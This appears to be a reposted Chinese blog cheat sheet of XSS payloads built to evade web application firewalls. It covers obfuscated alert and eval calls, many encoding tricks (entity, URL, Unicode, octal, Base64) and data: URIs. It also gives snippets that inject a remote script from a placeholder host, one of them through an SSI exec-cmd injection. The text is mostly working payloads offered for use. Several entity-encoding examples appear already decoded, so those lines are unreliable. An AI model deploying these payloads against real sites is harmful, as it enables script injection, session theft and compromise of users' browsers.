【XSS】绕过WAF的姿势总结
0x01 弹窗关键字检测绕过
基本WAF都针对常用的弹窗函数做了拦截,如alert()、prompt()、confirm(),另外还有代码执行函数eval(),想要绕过去也比较简单,我们以alert(‘xss’)为例,其实只需要分割alert和()即可,例如:
添加空格、TAB、回车、换行:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)
添加多行注释:alert/*abcd*/(/xss/)
添加注释换行:alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)
使用“代替():alert`xss`
使用括号分割:(alert)(/xss/)、((alert))(/xss/)
使用window和top:
- <img src=x onerror="window['al'+'ert'](0)"></img>
- <img src=x onerror="window.alert(0)"></img>
- <img src=x onerror="top['al'+'ert'](0)"></img>
- <img src=x onerror="top.alert(0)"></img>
另外还可以通过以下方式绕过WAF:
- <input/onfocus=_=alert,_(123)>
- <input/onfocus=_=alert,xx=1,_(123)>
- <input/onfocus=_=alert;_(123)>
- <input/onfocus=_=alert;xx=1;_(123)>
- <input/onfocus=_=window['alert'],_(123)>
- <input/onfocus=_=window.alert,_(123)>
- <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
- <svg/onload=eval('ale'+'rt(1)')>
- <svg/onload=location='javas'+'cript:ale'+'rt(1)'>
- <svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
- <svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
- <svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
- <svg/onload=location='javas'.concat('cript:ale','rt(1)')>
0x02 编码绕过
1. html实体编码
<iframe src=javascript:alert(1)>
html标签中支持十进制,例如:
- <iframe src=javascript:alert(1)>
十六进制,例如:
- <iframe src=javascript:alert(1)>
可以不带分号
- <iframe src=javascript:alert(1)>
可以填充0
- <iframe src=javascript:alert(1)>
绕过关键字过滤
- <iframe src=javas	cript:alert(1)></iframe> //Tab
- <iframe src=javas
cript:alert(1)></iframe> //回车
- <iframe src=javas
cript:alert(1)></iframe> //换行
- <iframe src=javascript:alert(1)></iframe> //编码冒号
- <iframe src=javasc
ript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持
2. URL编码
<a href=”{here}”>xx</a>
<iframe src=”{here}”>
当输出环境在href或者src时,是可以通过javascript伪协议来执行JS的,例如
<iframe src=”javascript:alert(1)”>test</iframe>
同样src中是可以进行URL编码的,需要注意协议头javascript:不能编码,否则JS无法执行。
- <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
- <a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
可以二次URL编码
- <iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>
这里结合一下上面说16进制编码
- <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
3. javascript编码
常用的是Unicode编码
- <input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
- <input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>
另外还有八进制和十六进制
- <svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
- <svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
- <svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
- <script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
- <script>eval("\141\154\145\162\164\050\061\051")</script>
- <script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
有的WAF拦截了eval()同样可以使用上面提到的alert()绕过的方式,如注释、注释换行等
同样也可以使用window[‘eval’]
- <script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
- <script>window['eval']("\141\154\145\162\164\050\061\051")</script>
- <script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
4. Base64编码
- <a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
- <iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
需要注意内容是可以做实体编码。不影响XSS执行。
- <iframe src="data:text/html,<script>alert(1)</script>"></iframe>
- <iframe srcdoc="<script>alert(1)</script>"></iframe>
另外还可以使用atob函数
- <a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>
- <a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>
- <a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
5. 其他
String.fromCharCode:
- <a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>
- <a href=javascript:alert(1)>Click</a>
- <a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
- <a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>
- <a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
- <a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
- <a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
0x03 引入外部JS
通过在<script>标签中引入其他字符绕过
- <script/src='1.js'/~~234*234></script ~~234*234>
- onfocus='a=document.createElement("script");a.src="http://x.x.x.x";body.appendChild(a);'
- onfocus='a=document.createElement("scr"+"ipt");a.src="http://x.x.x.x";body.appendChild(a);' //拆分关键字
- <!--#exec%20cmd="/bin/echo%20'<SCRIPT%20SRC'"--><!--#exec%20cmd="/bin/echo%20'=http://x.x.x.x/a.js></SCRIPT>'"--> //SSI
- <link%20rel=import%20href="2.js">
编码转换工具:http://bianma.51240.com/
原文链接:http://vinc.top/2014/11/13/%E7%BB%95%E8%BF%87waf%E7%9A%84%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/